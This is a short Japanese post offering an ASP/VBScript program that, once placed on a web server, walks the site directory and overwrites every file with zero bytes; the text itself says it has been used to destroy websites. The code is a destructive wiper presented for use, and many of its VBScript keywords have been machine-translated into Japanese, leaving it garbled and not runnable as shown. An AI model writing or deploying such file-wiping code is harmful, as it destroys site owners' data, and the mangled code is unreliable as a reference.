サイトディレクトリ内のすべてのファイルを自動的にクリアします

機能: このファイルが存在する Web サイトのすべてのファイルをクリアし、操作が完了すると、すべてのファイルのサイズが 0 バイトになります。
このコードは私のオリジナルです。lamking.com からの転載をマークしてください。また、

一部の Web サイトを破壊するために使用されたプログラムです。 .

<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" then
Call ListFile(Server.mappath("./"))
Response.write "クリーニングが完了しました"
それ以外
Response.write"<form><input type=""submit"" name=""Submit"" value=""Start Cleanup""></form>"
終了の場合
関数リストファイル(fpath)
エラー時は次へ再開
ディムシェル、フォルダー、
Set Shell =Server.CreateObject ("Shell.Application")
フォルダー =Shell.Namespace(fpath) を設定します。
Set f=Server.CreateObject("Adod​​b.Stream")
f.タイプ=1
f.開く
Folder.Items の For Each
IF s.isfolder 次に
ListFile(s.path) を呼び出す
それ以外
f.SaveToFile s.path,2
次の場合に終了
次
f=何も設定しない
Shell=nothing を設定します
終了機能
%>